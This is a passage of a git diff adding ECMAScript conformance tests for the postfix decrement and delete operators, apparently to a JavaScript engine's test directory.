+ $ERROR('#3: var x = 0; x\\u000C--; x === -1. Actual: ' + (x));
+}
+
+//CHECK#4
+if (eval("var x = 0; x\u0020--; x") !== -1) {
+ $ERROR('#4: var x = 0; x\\u0020--; x === -1. Actual: ' + (x));
+}
+
+//CHECK#5
+if (eval("var x = 0; x\u00A0--; x") !== -1) {
+ $ERROR('#5: var x = 0; x\\u00A0--; x === -1. Actual: ' + (x));
+}
+
+//CHECK#6
+if (eval("var x = 0; x\u0009\u000B\u000C\u0020\u00A0--; x") !== -1) {
+ $ERROR('#6: var x = 0; x\\u0009\\u000B\\u000C\\u0020\\u00A0--; x === -1. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.3/11.3.2/S11.3.2_A2.1_T1.js b/js/src/tests/test262/ch11/11.3/11.3.2/S11.3.2_A2.1_T1.js
new file mode 100644
index 000000000..b665af599
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.3/11.3.2/S11.3.2_A2.1_T1.js
@@ -0,0 +1,41 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x-- uses GetValue and PutValue
+ *
+ * @path ch11/11.3/11.3.2/S11.3.2_A2.1_T1.js
+ * @description Type(x) is Reference and GetBase(x) is not null
+ */
+
+//CHECK#1
+var x = 1;
+if (x-- !== 1) {
+ $ERROR('#1: var x = 1; x-- === 1. Actual: ' + (x--));
+} else {
+ if (x !== 1 - 1) {
+ $ERROR('#1: var x = 1; x--; x === 1 - 1. Actual: ' + (x));
+ }
+}
+
+//CHECK#2
+this.x = 1;
+if (this.x-- !== 1) {
+ $ERROR('#2: this.x = 1; this.x-- === 1. Actual: ' + (this.x--));
+} else {
+ if (this.x !== 1 - 1) {
+ $ERROR('#2: this.x = 1; this.x--; this.x === 1 - 1. Actual: ' + (this.x));
+ }
+}
+
+//CHECK#3
+var object = new Object();
+object.prop = 1;
+if (object.prop-- !== 1) {
+ $ERROR('#3: var object = new Object(); object.prop = 1; object.prop-- === 1. Actual: ' + (object.prop--));
+} else {
+ if (this.x !== 1 - 1) {
+ $ERROR('#3: var object = new Object(); object.prop = 1; object.prop--; object.prop === 1 - 1. Actual: ' + (object.prop));
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.3/11.3.2/S11.3.2_A2.1_T2.js b/js/src/tests/test262/ch11/11.3/11.3.2/S11.3.2_A2.1_T2.js
new file mode 100644
index 000000000..cae6d80b5
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.3/11.3.2/S11.3.2_A2.1_T2.js
@@ -0,0 +1,21 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x-- uses GetValue and PutValue
+ *
+ * @path ch11/11.3/11.3.2/S11.3.2_A2.1_T2.js
+ * @description If GetBase(x) is null, throw ReferenceError
+ */
+
+//CHECK#1
+try {
+ x--;
+ $ERROR('#1.1: x-- throw ReferenceError. Actual: ' + (x--));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: x-- throw ReferenceError. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.3/11.3.2/S11.3.2_A2.1_T3.js b/js/src/tests/test262/ch11/11.3/11.3.2/S11.3.2_A2.1_T3.js
new file mode 100644
index 000000000..adcf758c3
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.3/11.3.2/S11.3.2_A2.1_T3.js
@@ -0,0 +1,24 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x-- uses GetValue and PutValue
+ *
+ * @path ch11/11.3/11.3.2/S11.3.2_A2.1_T3.js
+ * @description If Type(x) is not Reference, throw ReferenceError (or SyntaxError)
+ * @negative
+ */
+
+//CHECK#1
+try {
+ 1--;
+ $ERROR('#1.1: 1-- throw ReferenceError (or SyntaxError). Actual: ' + (1--));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: 1-- throw ReferenceError (or SyntaxError). Actual: ' + (e));
+ } else {
+ 1--;
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.3/11.3.2/S11.3.2_A2.2_T1.js b/js/src/tests/test262/ch11/11.3/11.3.2/S11.3.2_A2.2_T1.js
new file mode 100644
index 000000000..22f31a1fa
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.3/11.3.2/S11.3.2_A2.2_T1.js
@@ -0,0 +1,110 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x-- uses [[Default Value]]
+ *
+ * @path ch11/11.3/11.3.2/S11.3.2_A2.2_T1.js
+ * @description If Type(value) is Object, evaluate ToPrimitive(value, Number)
+ */
+
+//CHECK#1
+var object = {valueOf: function() {return 1}};
+var y = object--;
+if (y !== 1) {
+ $ERROR('#1: var object = {valueOf: function() {return 1}}; var y = object--; y === 1. Actual: ' + (y));
+} else {
+ if (object !== 1 - 1) {
+ $ERROR('#1: var object = {valueOf: function() {return 1}}; object--; object === 1 - 1. Actual: ' + (object));
+ }
+}
+
+//CHECK#2
+var object = {valueOf: function() {return 1}, toString: function() {return 0}};
+var y = object--;
+if (y !== 1) {
+ $ERROR('#2: var object = {valueOf: function() {return 1}, toString: function() {return 0}}; var y = object--; y === 1. Actual: ' + (y));
+} else {
+ if (object !== 1 - 1) {
+ $ERROR('#2: var object = {valueOf: function() {return 1}, toString: function() {return 0}}; object--; object === 1 - 1. Actual: ' + (object));
+ }
+}
+
+//CHECK#3
+var object = {valueOf: function() {return 1}, toString: function() {return {}}};
+var y = object--;
+if (y !== 1) {
+ $ERROR('#3: var object = {valueOf: function() {return 1}, toString: function() {return {}}}; var y = object--; y === 1. Actual: ' + (y));
+} else {
+ if (object !== 1 - 1) {
+ $ERROR('#3: var object = {valueOf: function() {return 1}, toString: function() {return {}}}; object--; object === 1 - 1. Actual: ' + (object));
+ }
+}
+
+//CHECK#4
+try {
+ var object = {valueOf: function() {return 1}, toString: function() {throw "error"}};
+ var y = object--;
+ if (y !== 1) {
+ $ERROR('#4.1: var object = {valueOf: function() {return 1}, toString: function() {throw "error"}}; var y = object--; y === 1. Actual: ' + (y));
+ } else {
+ if (object !== 1 - 1) {
+ $ERROR('#4.2: var object = {valueOf: function() {return 1}, toString: function() {throw "error"}}; object--; object === 1 - 1. Actual: ' + (object));
+ }
+ }
+}
+catch (e) {
+ if (e === "error") {
+ $ERROR('#4.3: var object = {valueOf: function() {return 1}, toString: function() {throw "error"}}; y not throw "error"');
+ } else {
+ $ERROR('#4.4: var object = {valueOf: function() {return 1}, toString: function() {throw "error"}}; y not throw Error. Actual: ' + (e));
+ }
+}
+
+//CHECK#5
+var object = {toString: function() {return 1}};
+var y = object--;
+if (y !== 1) {
+ $ERROR('#5.1: var object = {toString: function() {return 1}}; var y = object--; y === 1. Actual: ' + (y));
+} else {
+ if (object !== 1 - 1) {
+ $ERROR('#5.2: var object = {toString: function() {return 1}}; object--; object === 1 - 1. Actual: ' + (object));
+ }
+}
+
+
+//CHECK#6
+var object = {valueOf: function() {return {}}, toString: function() {return 1}}
+var y = object--;
+if (y !== 1) {
+ $ERROR('#6.1: var object = {valueOf: function() {return {}}, toString: function() {return 1}}; var y = object--; y === 1. Actual: ' + (y));
+} else {
+ if (object !== 1 - 1) {
+ $ERROR('#6.2: var object = {valueOf: function() {return {}}, toString: function() {return 1}}; object--; object === 1 - 1. Actual: ' + (object));
+ }
+}
+
+//CHECK#7
+try {
+ var object = {valueOf: function() {throw "error"}, toString: function() {return 1}};
+ var y = object--;
+ $ERROR('#7.1: var object = {valueOf: function() {throw "error"}, toString: function() {return 1}}; object-- throw "error". Actual: ' + (y));
+}
+catch (e) {
+ if (e !== "error") {
+ $ERROR('#7.2: var object = {valueOf: function() {throw "error"}, toString: function() {return 1}}; object-- throw "error". Actual: ' + (e));
+ }
+}
+
+//CHECK#8
+try {
+ var object = {valueOf: function() {return {}}, toString: function() {return {}}};
+ var y = object--;
+ $ERROR('#8.1: var object = {valueOf: function() {return {}}, toString: function() {return {}}}; object-- throw TypeError. Actual: ' + (y));
+}
+catch (e) {
+ if ((e instanceof TypeError) !== true) {
+ $ERROR('#8.2: var object = {valueOf: function() {return {}}, toString: function() {return {}}}; object-- throw TypeError. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.3/11.3.2/S11.3.2_A3_T1.js b/js/src/tests/test262/ch11/11.3/11.3.2/S11.3.2_A3_T1.js
new file mode 100644
index 000000000..d35aeffc5
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.3/11.3.2/S11.3.2_A3_T1.js
@@ -0,0 +1,24 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x-- returns x = ToNumber(x) - 1
+ *
+ * @path ch11/11.3/11.3.2/S11.3.2_A3_T1.js
+ * @description Type(x) is boolean primitive or Boolean object
+ */
+
+//CHECK#1
+var x = true;
+x--;
+if (x !== 0) {
+ $ERROR('#1: var x = true; x--; x === 0. Actual: ' + (x));
+}
+
+//CHECK#2
+var x = new Boolean(false);
+x--;
+if (x !== 0 - 1) {
+ $ERROR('#2: var x = new Boolean(false); x--; x === 0 - 1. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.3/11.3.2/S11.3.2_A3_T2.js b/js/src/tests/test262/ch11/11.3/11.3.2/S11.3.2_A3_T2.js
new file mode 100644
index 000000000..cf1435a4c
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.3/11.3.2/S11.3.2_A3_T2.js
@@ -0,0 +1,24 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x-- returns x = ToNumber(x) - 1
+ *
+ * @path ch11/11.3/11.3.2/S11.3.2_A3_T2.js
+ * @description Type(x) is number primitive or Number object
+ */
+
+//CHECK#1
+var x = 1.1;
+x--;
+if (x !== 1.1 - 1) {
+ $ERROR('#1: var x = 1.1; x--; x === 1.1 - 1. Actual: ' + (x));
+}
+
+//CHECK#2
+var x = new Number(-0.1);
+x--;
+if (x !== -0.1 - 1) {
+ $ERROR('#2: var x = new Number(-0.1); x--; x === -0.1 - 1. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.3/11.3.2/S11.3.2_A3_T3.js b/js/src/tests/test262/ch11/11.3/11.3.2/S11.3.2_A3_T3.js
new file mode 100644
index 000000000..63108752b
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.3/11.3.2/S11.3.2_A3_T3.js
@@ -0,0 +1,31 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x-- returns x = ToNumber(x) - 1
+ *
+ * @path ch11/11.3/11.3.2/S11.3.2_A3_T3.js
+ * @description Type(x) is string primitive or String object
+ */
+
+//CHECK#1
+var x = "1";
+x--;
+if (x !== 1 - 1) {
+ $ERROR('#1: var x = "1"; x--; x === 1 - 1. Actual: ' + (x));
+}
+
+//CHECK#2
+var x = "x";
+x--;
+if (isNaN(x) !== true) {
+ $ERROR('#2: var x = "x"; x--; x === Not-a-Number. Actual: ' + (x));
+}
+
+//CHECK#3
+var x = new Number("-1");
+x--;
+if (x !== -1 - 1) {
+ $ERROR('#3: var x = new String("-1"); x--; x === -1 - 1. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.3/11.3.2/S11.3.2_A3_T4.js b/js/src/tests/test262/ch11/11.3/11.3.2/S11.3.2_A3_T4.js
new file mode 100644
index 000000000..ea248bfb0
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.3/11.3.2/S11.3.2_A3_T4.js
@@ -0,0 +1,24 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x-- returns x = ToNumber(x) - 1
+ *
+ * @path ch11/11.3/11.3.2/S11.3.2_A3_T4.js
+ * @description Type(x) is undefined or null
+ */
+
+//CHECK#1
+var x;
+x--;
+if (isNaN(x) !== true) {
+ $ERROR('#1: var x; x--; x === Not-a-Number. Actual: ' + (x));
+}
+
+//CHECK#2
+var x = null;
+x--;
+if (x !== -1) {
+ $ERROR('#2: var x = null; x--; x === -1. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.3/11.3.2/S11.3.2_A3_T5.js b/js/src/tests/test262/ch11/11.3/11.3.2/S11.3.2_A3_T5.js
new file mode 100644
index 000000000..b571f0654
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.3/11.3.2/S11.3.2_A3_T5.js
@@ -0,0 +1,24 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x-- returns x = ToNumber(x) - 1
+ *
+ * @path ch11/11.3/11.3.2/S11.3.2_A3_T5.js
+ * @description Type(x) is Object object or Function object
+ */
+
+//CHECK#1
+var x = {};
+x--;
+if (isNaN(x) !== true) {
+ $ERROR('#1: var x = {}; x--; x === Not-a-Number. Actual: ' + (x));
+}
+
+//CHECK#2
+var x = function(){return 1};
+x--;
+if (isNaN(x) !== true) {
+ $ERROR('#2: var x = function(){return 1}; x--; x === Not-a-Number. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.3/11.3.2/S11.3.2_A4_T1.js b/js/src/tests/test262/ch11/11.3/11.3.2/S11.3.2_A4_T1.js
new file mode 100644
index 000000000..4d07e77e4
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.3/11.3.2/S11.3.2_A4_T1.js
@@ -0,0 +1,24 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x-- returns ToNumber(x)
+ *
+ * @path ch11/11.3/11.3.2/S11.3.2_A4_T1.js
+ * @description Type(x) is boolean primitive or Boolean object
+ */
+
+//CHECK#1
+var x = true;
+var y = x--;
+if (y !== 1) {
+ $ERROR('#1: var x = true; var y = x--; y === 1. Actual: ' + (y));
+}
+
+//CHECK#2
+var x = new Boolean(false);
+var y = x--;
+if (y !== 0) {
+ $ERROR('#2: var x = new Boolean(false); var y = x--; y === 0. Actual: ' + (y));
+}
+
diff --git a/js/src/tests/test262/ch11/11.3/11.3.2/S11.3.2_A4_T2.js b/js/src/tests/test262/ch11/11.3/11.3.2/S11.3.2_A4_T2.js
new file mode 100644
index 000000000..eb5c3bcde
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.3/11.3.2/S11.3.2_A4_T2.js
@@ -0,0 +1,24 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x-- returns ToNumber(x)
+ *
+ * @path ch11/11.3/11.3.2/S11.3.2_A4_T2.js
+ * @description Type(x) is number primitive or Number object
+ */
+
+//CHECK#1
+var x = 1.1;
+var y = x--;
+if (y !== 1.1) {
+ $ERROR('#1: var x = 1.1; var y = x--; y === 1.1. Actual: ' + (y));
+}
+
+//CHECK#2
+var x = new Number(-0.1);
+var y = x--;
+if (y !== -0.1) {
+ $ERROR('#2: var x = new Number(-0.1); var y = x--; y === -0.1. Actual: ' + (y));
+}
+
diff --git a/js/src/tests/test262/ch11/11.3/11.3.2/S11.3.2_A4_T3.js b/js/src/tests/test262/ch11/11.3/11.3.2/S11.3.2_A4_T3.js
new file mode 100644
index 000000000..8a4edfca8
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.3/11.3.2/S11.3.2_A4_T3.js
@@ -0,0 +1,31 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x-- returns ToNumber(x)
+ *
+ * @path ch11/11.3/11.3.2/S11.3.2_A4_T3.js
+ * @description Type(x) is string primitive or String object
+ */
+
+//CHECK#1
+var x = "1";
+var y = x--;
+if (y !== 1) {
+ $ERROR('#1: var x = "1"; var y = x--; y === 1. Actual: ' + (y));
+}
+
+//CHECK#2
+var x = "x";
+var y = x--;
+if (isNaN(y) !== true) {
+ $ERROR('#2: var x = "x"; var y = x--; y === Not-a-Number. Actual: ' + (y));
+}
+
+//CHECK#3
+var x = new String("-1");
+var y = x--;
+if (y !== -1) {
+ $ERROR('#3: var x = new String("-1"); var y = x--; y === -1. Actual: ' + (y));
+}
+
diff --git a/js/src/tests/test262/ch11/11.3/11.3.2/S11.3.2_A4_T4.js b/js/src/tests/test262/ch11/11.3/11.3.2/S11.3.2_A4_T4.js
new file mode 100644
index 000000000..add21d32a
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.3/11.3.2/S11.3.2_A4_T4.js
@@ -0,0 +1,24 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x-- returns ToNumber(x)
+ *
+ * @path ch11/11.3/11.3.2/S11.3.2_A4_T4.js
+ * @description If Type(x) is undefined or null
+ */
+
+//CHECK#1
+var x;
+var y = x--;
+if (isNaN(y) !== true) {
+ $ERROR('#1: var x; var y = x--; y === Not-a-Number. Actual: ' + (y));
+}
+
+//CHECK#2
+var x = null;
+var y = x--;
+if (y !== 0) {
+ $ERROR('#2: var x = null; var y = x--; y === 0. Actual: ' + (y));
+}
+
diff --git a/js/src/tests/test262/ch11/11.3/11.3.2/S11.3.2_A4_T5.js b/js/src/tests/test262/ch11/11.3/11.3.2/S11.3.2_A4_T5.js
new file mode 100644
index 000000000..aa6856568
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.3/11.3.2/S11.3.2_A4_T5.js
@@ -0,0 +1,24 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x-- returns ToNumber(x)
+ *
+ * @path ch11/11.3/11.3.2/S11.3.2_A4_T5.js
+ * @description Type(x) is Object object or Function object
+ */
+
+//CHECK#1
+var x = {};
+var y = x--;
+if (isNaN(y) !== true) {
+ $ERROR('#1: var x = {}; var y = x--; y === Not-a-Number. Actual: ' + (y));
+}
+
+//CHECK#2
+var x = function(){return 1};
+var y = x--;
+if (isNaN(y) !== true) {
+ $ERROR('#2: var x = function(){return 1}; var y = x--; y === Not-a-Number. Actual: ' + (y));
+}
+
diff --git a/js/src/tests/test262/ch11/11.3/11.3.2/browser.js b/js/src/tests/test262/ch11/11.3/11.3.2/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.3/11.3.2/browser.js
diff --git a/js/src/tests/test262/ch11/11.3/11.3.2/shell.js b/js/src/tests/test262/ch11/11.3/11.3.2/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.3/11.3.2/shell.js
diff --git a/js/src/tests/test262/ch11/11.3/browser.js b/js/src/tests/test262/ch11/11.3/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.3/browser.js
diff --git a/js/src/tests/test262/ch11/11.3/shell.js b/js/src/tests/test262/ch11/11.3/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.3/shell.js
diff --git a/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-0-1.js b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-0-1.js
new file mode 100644
index 000000000..2a3407dd5
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-0-1.js
@@ -0,0 +1,26 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * This test is actually testing the [[Delete]] internal method (8.12.8). Since the
+ * language provides no way to directly exercise [[Delete]], the tests are placed here.
+ *
+ * @path ch11/11.4/11.4.1/11.4.1-0-1.js
+ * @description delete operator as UnaryExpression
+ */
+
+
+function testcase() {
+ var x = 1;
+ var y = 2;
+ var z = 3;
+
+ if( (!delete x || delete y) &&
+ delete delete z)
+ {
+ return true;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-2-1.js b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-2-1.js
new file mode 100644
index 000000000..223de50d5
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-2-1.js
@@ -0,0 +1,18 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.4/11.4.1/11.4.1-2-1.js
+ * @description delete operator returns true when deleting a non-reference (number)
+ */
+
+
+function testcase() {
+ var d = delete 42;
+ if (d === true) {
+ return true;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-2-2.js b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-2-2.js
new file mode 100644
index 000000000..eed36f4c5
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-2-2.js
@@ -0,0 +1,20 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.4/11.4.1/11.4.1-2-2.js
+ * @description delete operator returns true when deleting returned value from a function
+ */
+
+
+function testcase() {
+ var bIsFooCalled = false;
+ var foo = function(){bIsFooCalled = true;};
+
+ var d = delete foo();
+ if(d === true && bIsFooCalled === true)
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-2-3.js b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-2-3.js
new file mode 100644
index 000000000..5d8fc9bce
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-2-3.js
@@ -0,0 +1,18 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.4/11.4.1/11.4.1-2-3.js
+ * @description delete operator returns true when deleting a non-reference (boolean)
+ */
+
+
+function testcase() {
+ var d = delete true;
+ if (d === true) {
+ return true;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-2-4.js b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-2-4.js
new file mode 100644
index 000000000..3da874599
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-2-4.js
@@ -0,0 +1,18 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.4/11.4.1/11.4.1-2-4.js
+ * @description delete operator returns true when deleting a non-reference (string)
+ */
+
+
+function testcase() {
+ var d = delete "abc";
+ if (d === true) {
+ return true;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-2-5.js b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-2-5.js
new file mode 100644
index 000000000..ae32bebce
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-2-5.js
@@ -0,0 +1,18 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.4/11.4.1/11.4.1-2-5.js
+ * @description delete operator returns true when deleting a non-reference (obj)
+ */
+
+
+function testcase() {
+ var d = delete {a:0} ;
+ if (d === true) {
+ return true;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-2-6.js b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-2-6.js
new file mode 100644
index 000000000..bcee797c2
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-2-6.js
@@ -0,0 +1,18 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.4/11.4.1/11.4.1-2-6.js
+ * @description delete operator returns true when deleting a non-reference (null)
+ */
+
+
+function testcase() {
+ var d = delete null;
+ if (d === true) {
+ return true;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-3-1.js b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-3-1.js
new file mode 100644
index 000000000..9ae258064
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-3-1.js
@@ -0,0 +1,19 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.4/11.4.1/11.4.1-3-1.js
+ * @description delete operator returns true when deleting an unresolvable reference
+ */
+
+
+function testcase() {
+ // just cooking up a long/veryLikely unique name
+ var d = delete __ES3_1_test_suite_test_11_4_1_3_unique_id_0__;
+ if (d === true) {
+ return true;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-3-2.js b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-3-2.js
new file mode 100644
index 000000000..fefff3071
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-3-2.js
@@ -0,0 +1,24 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.4/11.4.1/11.4.1-3-2.js
+ * @description delete operator throws ReferenceError when deleting an explicitly qualified yet unresolvable reference (base obj undefined)
+ */
+
+
+function testcase() {
+ // just cooking up a long/veryLikely unique name
+ try
+ {
+ var d = delete __ES3_1_test_suite_test_11_4_1_3_unique_id_2__.x;
+ }
+ catch(e)
+ {
+ if (e instanceof ReferenceError)
+ return true;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-3-3.js b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-3-3.js
new file mode 100644
index 000000000..1f70cca92
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-3-3.js
@@ -0,0 +1,19 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.4/11.4.1/11.4.1-3-3.js
+ * @description delete operator returns true when deleting an explicitly qualified yet unresolvable reference (property undefined for base obj)
+ */
+
+
+function testcase() {
+ var __ES3_1_test_suite_test_11_4_1_3_unique_id_3__ = {};
+ var d = delete __ES3_1_test_suite_test_11_4_1_3_unique_id_3__.x;
+ if (d === true) {
+ return true;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-3-a-1-s.js b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-3-a-1-s.js
new file mode 100644
index 000000000..7172421d0
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-3-a-1-s.js
@@ -0,0 +1,23 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.4/11.4.1/11.4.1-3-a-1-s.js
+ * @description Strict Mode - SyntaxError is thrown when deleting an un-resolvable reference
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+
+ try {
+ eval("delete obj");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
